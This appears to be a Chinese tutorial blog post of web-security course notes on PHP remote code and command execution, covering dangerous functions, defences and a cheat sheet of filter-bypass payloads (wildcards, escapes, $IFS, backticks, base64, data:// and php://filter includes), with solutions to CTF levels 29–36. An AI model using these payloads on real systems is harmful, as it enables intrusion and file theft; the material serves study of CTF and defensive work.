Day58:WEB攻防-RCE代码&命令执行&过滤绕过&异或无字符&无回显方案&黑白盒挖掘
Dao-道法自然 2024-06-18 08:03:02 阅读 62
目录
RCE & 代码执行 & 命令执行
RCE-利用&绕过&异或&回显
关键字过滤 - 过滤 flag
过滤执行命令(如cat tac等)
过滤执行空格
无回显利用
演示案例—白盒-CTF-RCE代码命令执行
29-通配符
30-取代函数&通配符&管道符
31-参数逃逸
32~36-配合包含&伪协议
黑盒-运行-RCE代码命令执行
知识点
1、RCE-原理-代码执行&命令执行
2、RCE-黑白盒-过滤绕过&不回显方案
RCE & 代码执行 & 命令执行
RCE代码执行:引用脚本代码解析执行
RCE命令执行:脚本调用操作系统命令
命令执行也是能转换为代码执行的,只不过比较麻烦。
PHP代码执行函数:
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等
PHP命令执行函数:
system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等
Python:
eval exec subprocess os.system commands
Java:Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数,
但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
代码执行:
脚本——java,php,python产生——Web源码、中间件平台、其他环境检测——白盒 代码审计检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点防御——敏感函数禁用、变量过滤或固定、WAF产品
命令执行:
系统——Linux、Windows产生——web源码、中间件平台、其他环境检测——白盒 代码审计检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点防御——敏感函数禁用、变量过滤或固定、WAF产品
RCE-利用&绕过&异或&回显
关键字过滤 - 过滤 flag
通配符绕过
flag=fl*cat fl*cat ?la*
转义符号
ca\t /fl\agcat fl''ag
使用空变量∗ 和 *和∗和@,x , x,x,{x}绕过
ca$*t fl$*agca$@t fl$@agca$5t f$5lagca${2}t f${2}lag
拼接法
a=fl;b=ag;cat$IFS$a$b
反引号绕过
cat `ls` //在php中这个`反引号代表执行命令的意思
编码绕过
echo 'flag' | base64cat `echo ZmxhZwo= | base64 -d`
组合绝活
touch "ag"touch "fl\\"touch "t \\"touch "ca\\"ls -t >shell -t是指以时间来展示文件sh shell# \指的是换行# ls -t是将文本按时间排序输出# ls -t >shell 将输出输入到shell文件中# sh将文本中的文字读取出来执行
异或无符号(过滤0-9a-zA-Z)
异或(算法):rce-xor.php //打包好的脚本
异或(算法):rce-xor.py //打包好的脚本
或(算法):rce-xor-or.php//打包好的脚本
或(算法):rce-xor-or.py //打包好的脚本
过滤执行命令(如cat tac等)
more:一页一页的显示档案内容less:与 more 类似head:查看头几行tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示tail:查看尾几行nl:显示的时候,顺便输出行号od:以二进制的方式读取档案内容vi:一种编辑器,这个也可以查看vim:一种编辑器,这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容sh /flag 2>%261 //报错出文件内容curl file:///root/f/flagstrings flaguniq -c flagbash -v flagrev flag
过滤执行空格
%09(url传递)(cat%09flag.php)cat${IFS}flaga=fl;b=ag;cat$IFS$a$b{cat,flag}
无回显利用
直接写个文件访问查看
直接进行对外访问dnslog
演示案例—白盒-CTF-RCE代码命令执行
29-通配符
?c=system('tac fla*.php');
30-取代函数&通配符&管道符
?c=echo shell_exec('tac fla*');
31-参数逃逸
?c=eval($_GET[1]);&1=system('tac flag.php'); //为什么这样写,因为代码只检测参数c
32~36-配合包含&伪协议
?c=include$_GET[a]?>&a=data://text/plain,<?=system('tac flag.php');?>
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
黑盒-运行-RCE代码命令执行
比较有难度,要思考哪些功能点会执行代码或者命令,但是这种不太常见,也可以直接利用工具帮忙探测(awvs、xray等)
例如:
代码在线运行平台测试
反弹shell
声明
本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。